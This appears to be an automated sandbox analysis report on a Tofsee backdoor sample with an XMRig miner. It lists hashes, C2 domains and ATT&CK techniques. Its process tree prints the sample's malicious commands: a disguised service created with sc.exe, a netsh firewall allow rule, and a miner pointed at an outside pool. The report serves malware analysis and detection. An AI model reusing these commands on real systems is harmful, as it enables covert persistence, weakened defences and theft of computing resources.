Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-12-2022 22:06

General

  • Target

    cd524a9867b1196e9fd5103acdfa12b3a8b79b7469bf4eb36fce62d35c375796.exe

  • Size

    192KB

  • MD5

    d4e0a9ff19277f89090ea5e4e558f7ef

  • SHA1

    cd3a22ef3f2a0a4f3b01b95b13c4946045e0cd63

  • SHA256

    cd524a9867b1196e9fd5103acdfa12b3a8b79b7469bf4eb36fce62d35c375796

  • SHA512

    585d62799f6fe5ce68018c20e8aecb6154959bfb8fc02a69dd9a3b249f94f85c1600d60cb2b74365fe4426de4f172fbc0df7e7e789bb06386895eb7bdf1241be

  • SSDEEP

    3072:9rbR6e6hM46gUIJ5qbMlCzgyQ4Iu0mE4GrtmxRs9E3AZxpR/c:9Mc46gUL4Bg01xxvp

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cd524a9867b1196e9fd5103acdfa12b3a8b79b7469bf4eb36fce62d35c375796.exe
    "C:\Users\Admin\AppData\Local\Temp\cd524a9867b1196e9fd5103acdfa12b3a8b79b7469bf4eb36fce62d35c375796.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4820
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nwrhwqym\
      2⤵
        PID:4712
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gilwrlab.exe" C:\Windows\SysWOW64\nwrhwqym\
        2⤵
          PID:4372
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nwrhwqym binPath= "C:\Windows\SysWOW64\nwrhwqym\gilwrlab.exe /d\"C:\Users\Admin\AppData\Local\Temp\cd524a9867b1196e9fd5103acdfa12b3a8b79b7469bf4eb36fce62d35c375796.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1452
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nwrhwqym "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4032
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nwrhwqym
          2⤵
          • Launches sc.exe
          PID:4952
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5108
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4820 -s 1036
          2⤵
          • Program crash
          PID:2736
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4820 -ip 4820
        1⤵
          PID:1356
        • C:\Windows\SysWOW64\nwrhwqym\gilwrlab.exe
          C:\Windows\SysWOW64\nwrhwqym\gilwrlab.exe /d"C:\Users\Admin\AppData\Local\Temp\cd524a9867b1196e9fd5103acdfa12b3a8b79b7469bf4eb36fce62d35c375796.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3556
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:260
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3676
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3556 -s 560
            2⤵
            • Program crash
            PID:3820
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3556 -ip 3556
          1⤵
            PID:3000

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\gilwrlab.exe
            Filesize

            14.9MB

            MD5

            1612025bbccae4df74e5e639759fd449

            SHA1

            991e310bf71f69f1e73f6a825f89dfc0b9b68163

            SHA256

            30c130dd89dee6495bebb28561b368bcea6c2f334e6da01ff512befc06183ab3

            SHA512

            3d1ca9d24899a591cc7eb734ae03bc8bc170da8cf4278a5e97258af06ee6a86b6683a746b1f04c36b7bd772d1d089462befc26aa8022e8f929b0a1080c22ed25

          • C:\Windows\SysWOW64\nwrhwqym\gilwrlab.exe
            Filesize

            14.9MB

            MD5

            1612025bbccae4df74e5e639759fd449

            SHA1

            991e310bf71f69f1e73f6a825f89dfc0b9b68163

            SHA256

            30c130dd89dee6495bebb28561b368bcea6c2f334e6da01ff512befc06183ab3

            SHA512

            3d1ca9d24899a591cc7eb734ae03bc8bc170da8cf4278a5e97258af06ee6a86b6683a746b1f04c36b7bd772d1d089462befc26aa8022e8f929b0a1080c22ed25

          • memory/260-155-0x00000000007D0000-0x00000000007E5000-memory.dmp
            Filesize

            84KB

          • memory/260-147-0x00000000007D0000-0x00000000007E5000-memory.dmp
            Filesize

            84KB

          • memory/260-154-0x00000000007D0000-0x00000000007E5000-memory.dmp
            Filesize

            84KB

          • memory/260-159-0x0000000000BF0000-0x0000000000BF6000-memory.dmp
            Filesize

            24KB

          • memory/260-162-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/260-156-0x0000000002700000-0x000000000290F000-memory.dmp
            Filesize

            2.1MB

          • memory/260-146-0x0000000000000000-mapping.dmp
          • memory/260-165-0x0000000001DF0000-0x0000000001DF5000-memory.dmp
            Filesize

            20KB

          • memory/260-168-0x0000000007700000-0x0000000007B0B000-memory.dmp
            Filesize

            4.0MB

          • memory/260-171-0x0000000002BD0000-0x0000000002BD7000-memory.dmp
            Filesize

            28KB

          • memory/1452-140-0x0000000000000000-mapping.dmp
          • memory/3556-151-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/3556-150-0x00000000004E3000-0x00000000004F4000-memory.dmp
            Filesize

            68KB

          • memory/3676-174-0x0000000000000000-mapping.dmp
          • memory/3676-175-0x0000000000AE0000-0x0000000000BD1000-memory.dmp
            Filesize

            964KB

          • memory/3676-180-0x0000000000AE0000-0x0000000000BD1000-memory.dmp
            Filesize

            964KB

          • memory/4032-141-0x0000000000000000-mapping.dmp
          • memory/4372-136-0x0000000000000000-mapping.dmp
          • memory/4712-135-0x0000000000000000-mapping.dmp
          • memory/4820-138-0x0000000000728000-0x0000000000739000-memory.dmp
            Filesize

            68KB

          • memory/4820-132-0x0000000000728000-0x0000000000739000-memory.dmp
            Filesize

            68KB

          • memory/4820-153-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/4820-133-0x00000000005F0000-0x0000000000603000-memory.dmp
            Filesize

            76KB

          • memory/4820-152-0x0000000000728000-0x0000000000739000-memory.dmp
            Filesize

            68KB

          • memory/4820-143-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/4820-139-0x00000000005F0000-0x0000000000603000-memory.dmp
            Filesize

            76KB

          • memory/4820-134-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/4952-142-0x0000000000000000-mapping.dmp
          • memory/5108-144-0x0000000000000000-mapping.dmp